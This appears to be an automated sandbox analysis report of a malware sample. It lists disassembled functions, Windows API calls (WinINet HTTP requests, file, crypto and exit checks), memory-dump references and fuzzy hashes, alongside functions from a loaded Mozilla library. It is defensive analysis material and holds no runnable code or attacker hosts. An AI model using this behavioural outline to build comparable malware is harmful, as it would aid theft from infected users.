Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: pD
API String ID: 3541710228-1597287149
Opcode ID: 06dd6dc88a515bcffc6fec51e96aaf63bb0caa7a8148898f3e44a6e75f9a7259
Instruction ID: fa09aa06dd7b02a66a3e2062b0ad2b9ffb90b797950fe40ad7d64f8f65da11ec
Opcode Fuzzy Hash: 06dd6dc88a515bcffc6fec51e96aaf63bb0caa7a8148898f3e44a6e75f9a7259
Instruction Fuzzy Hash: 04711476900209ABDB54EBA0EC49FEE7779BBC8300F048598F60997181EB34DB45DF95

Function 00579010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0057906C

Strings

image/jpeg, xrefs: 00579136

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: c52c54e21f90c40a40892c53636136c07afdd2430f671536dc294673d7439f52
Instruction ID: 4eaac597cb900e9d5ac7967c90f0f5681b01a273be35286b20dddbeb0347bcde
Opcode Fuzzy Hash: c52c54e21f90c40a40892c53636136c07afdd2430f671536dc294673d7439f52
Instruction Fuzzy Hash: 4B71FF75910209ABDB04EFE4DC89FEEBBB9BF88700F148508F515A7290DB389905DF65

Function 6CADD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CADD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CADD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CADD52A
GetCurrentThreadId.KERNEL32 ref: 6CADD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CADD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CADD55F
free.MOZGLUE(00000000), ref: 6CADD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CADD5D3
GetCurrentThreadId.KERNEL32 ref: 6CADD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CADD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CADD652
GetCurrentThreadId.KERNEL32 ref: 6CADD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CADD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CADD6A2

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 15cd53b997bcbc89167e3180330253d2cee79e3ba3f56755d3c5d1314dbac8e2
Instruction ID: 5babffe46097aa49d229785239345d062922a90c5351555c341145c39a23260f
Opcode Fuzzy Hash: 15cd53b997bcbc89167e3180330253d2cee79e3ba3f56755d3c5d1314dbac8e2
Instruction Fuzzy Hash: 63515C71A04705DFC704DF25C488A9ABBF4FF89358F118A2EE85A87711DB30B989CB91

Function 005717A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 005717C5
ExitProcess.KERNEL32 ref: 005717D1

Strings

block, xrefs: 005717B7

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 4889cbf46b090b684a22e33bc095049082573962d6e147ac96617d48880c08e0
Instruction ID: 0b388f0a538ec7d1b7f8a16ce0bc23b407d7cf715c3aeea32233b1400e8970ab
Opcode Fuzzy Hash: 4889cbf46b090b684a22e33bc095049082573962d6e147ac96617d48880c08e0
Instruction Fuzzy Hash: F55162B4A04209EFCB04DFA4E958ABE7BB5BF84704F10C448E90A77280D774E946EB56

Function 6CACEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA94A68), ref: 6CAC945E
Part of subcall function 6CAC9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAC9470
Part of subcall function 6CAC9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAC9482
Part of subcall function 6CAC9420: __Init_thread_footer.LIBCMT ref: 6CAC949F

GetCurrentThreadId.KERNEL32 ref: 6CACEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CACEC8C

Part of subcall function 6CAC94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAC94EE
Part of subcall function 6CAC94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAC9508

GetCurrentThreadId.KERNEL32 ref: 6CACECA1
AcquireSRWLockExclusive.KERNEL32(6CB0F4B8), ref: 6CACECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CACECC5
ReleaseSRWLockExclusive.KERNEL32(6CB0F4B8), ref: 6CACED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CACED19
CloseHandle.KERNEL32(?), ref: 6CACED28
free.MOZGLUE(00000000), ref: 6CACED2F
ReleaseSRWLockExclusive.KERNEL32(6CB0F4B8), ref: 6CACED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CACEC94

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: dd71f44e53fe4d5996798cde293614aed5f2e0f72a97174ab782cec6d09ef072
Instruction ID: 6a7ac656c7d399561a6015ed102476b1e8d15b7d29b83481d12e7e4aa1f3cac8
Opcode Fuzzy Hash: dd71f44e53fe4d5996798cde293614aed5f2e0f72a97174ab782cec6d09ef072
Instruction Fuzzy Hash: BD212475700108ABDF019F64D809AAA7B79FB5636DF144218FC2897740DB359889CBE6

Function 6CAAC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAAC5A3
WideCharToMultiByte.KERNEL32 ref: 6CAAC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CAAC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CAACA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAACA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAACAA5

Strings

0, xrefs: 6CAAD30A
(null), xrefs: 6CAAC596

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: a12e7b414f1b4c1bd5259d40a8d62911015beacf45a07543b782f11c14a4234a
Instruction ID: efbf7c34b1e68662898e81cd333a80dd175826c345eb885feae7636b08d675a9
Opcode Fuzzy Hash: a12e7b414f1b4c1bd5259d40a8d62911015beacf45a07543b782f11c14a4234a
Instruction Fuzzy Hash: 32A1AF307083419FEB00DF68C55875ABBF5AF89748F08891DE899D7751DB32D886CB92

Function 005752C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 00566280: InternetOpenA.WININET(00580DFE,00000001,00000000,00000000,00000000), ref: 005662E1
Part of subcall function 00566280: StrCmpCA.SHLWAPI(?,0044F8B0), ref: 00566303
Part of subcall function 00566280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00566335
Part of subcall function 00566280: HttpOpenRequestA.WININET(00000000,GET,?,0044F550,00000000,00000000,00400100,00000000), ref: 00566385
Part of subcall function 00566280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005663BF
Part of subcall function 00566280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005663D1

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00575318
lstrlen.KERNEL32(00000000), ref: 0057532F

Part of subcall function 00578E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00578E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00575364
lstrlen.KERNEL32(00000000), ref: 00575383
lstrlen.KERNEL32(00000000), ref: 005753AE

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Strings

ERROR, xrefs: 00575432
ERROR, xrefs: 005753B9
ERROR, xrefs: 0057546F
ERROR, xrefs: 005754A9
ERROR, xrefs: 0057530A

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 2e09f3efa3d2d0f54f523941049f63f0f99926be69f1a5fd2f2c1f2992d578c1
Instruction ID: db367378a621fcf44dcf479c73fdbc2bbeb9215fbf254add11fe9c62c2d17885
Opcode Fuzzy Hash: 2e09f3efa3d2d0f54f523941049f63f0f99926be69f1a5fd2f2c1f2992d578c1
Instruction Fuzzy Hash: E651EE309101499BCB18FF70ED9AAEE7B79BFD0301F508414E41E5A591EF346B46EB52

Function 6CA83480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA83284,?,?,6CAA56F6), ref: 6CA83492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA83284,?,?,6CAA56F6), ref: 6CA834A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA83284,?,?,6CAA56F6), ref: 6CA834EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA8350E
__Init_thread_footer.LIBCMT ref: 6CA83522
__aulldiv.LIBCMT ref: 6CA83552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA83284,?,?,6CAA56F6), ref: 6CA8357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA83284,?,?,6CAA56F6), ref: 6CA83592

Part of subcall function 6CABAB89: EnterCriticalSection.KERNEL32(6CB0E370,?,?,?,6CA834DE,6CB0F6CC,?,?,?,?,?,?,?,6CA83284), ref: 6CABAB94
Part of subcall function 6CABAB89: LeaveCriticalSection.KERNEL32(6CB0E370,?,6CA834DE,6CB0F6CC,?,?,?,?,?,?,?,6CA83284,?,?,6CAA56F6), ref: 6CABABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CA83508
kernel32.dll, xrefs: 6CA834EA

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ed2638653dcd58fb8fa04e2a5251e449a8ae6c90bdc50585119e091f5cf2a9af
Instruction ID: 4ad096c0af3824b108c67fa876c2c2f9d6bacaac34dd1cc7d89afeee2bcc2db8
Opcode Fuzzy Hash: ed2638653dcd58fb8fa04e2a5251e449a8ae6c90bdc50585119e091f5cf2a9af
Instruction Fuzzy Hash: 7831DF71B022099FDF08DFB8C948EBE77B9FB56344F10441DE545A3690EB70A944CBA0

Function 6CA84480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAC4843,?), ref: 6CA845F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAC4843,?), ref: 6CA8468A
free.MOZGLUE(?,?,?,?,?,?,6CAC4843,?), ref: 6CA846C9
free.MOZGLUE(?), ref: 6CA846EF
free.MOZGLUE(?), ref: 6CA84712
free.MOZGLUE(?), ref: 6CA84735
free.MOZGLUE(?), ref: 6CA84758
free.MOZGLUE(?), ref: 6CA8477B
free.MOZGLUE(?), ref: 6CA8479E

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 9a9deaba67f75122d0be5a9f695904ae060308bb29878a02cfb95e413fb914b3
Instruction ID: c56783ea7c09af26396df9f3d8ce4847277f21e630ffd06b2df1ec6389977ed1
Opcode Fuzzy Hash: 9a9deaba67f75122d0be5a9f695904ae060308bb29878a02cfb95e413fb914b3
Instruction Fuzzy Hash: E7B1F271A025108FDB189F7CC9B476D77BAAF42328F580678E416DBBC6E73198C48B81

Function 6CAEAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CAEAC52
CreateFileMappingW.KERNEL32 ref: 6CAEAC7D
GetSystemInfo.KERNEL32 ref: 6CAEAC98
MapViewOfFile.KERNEL32 ref: 6CAEACB0
GetSystemInfo.KERNEL32 ref: 6CAEACCD
MapViewOfFile.KERNEL32 ref: 6CAEAD05
UnmapViewOfFile.KERNEL32 ref: 6CAEAD1C
CloseHandle.KERNEL32 ref: 6CAEAD28
UnmapViewOfFile.KERNEL32 ref: 6CAEAD37
CloseHandle.KERNEL32 ref: 6CAEAD43
CloseHandle.KERNEL32 ref: 6CAEAD67

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 611863bb3155d2f9aa24a7ee994cb6a82fe60f24da79e7fb86657bac388da75e
Instruction ID: 38a5ef6e19679bd4268e6575f9e6cc8defc9c9e1715ae03ed9dd4a4cf50b9646
Opcode Fuzzy Hash: 611863bb3155d2f9aa24a7ee994cb6a82fe60f24da79e7fb86657bac388da75e
Instruction Fuzzy Hash: DC3141B1A047058FDB00AF7CD68826EBBF1FF95305F01892DE99597351EB709889CB82

Function 6CAD9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAD8273), ref: 6CAD9D65
free.MOZGLUE(6CAD8273,?), ref: 6CAD9D7C
free.MOZGLUE(?,?), ref: 6CAD9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAD9E0F
free.MOZGLUE(6CAD946B,?,?), ref: 6CAD9E24
free.MOZGLUE(?,?,?), ref: 6CAD9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAD9EC8
free.MOZGLUE(6CAD946B,?,?,?), ref: 6CAD9EDF
free.MOZGLUE(?,?,?,?), ref: 6CAD9EF5

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
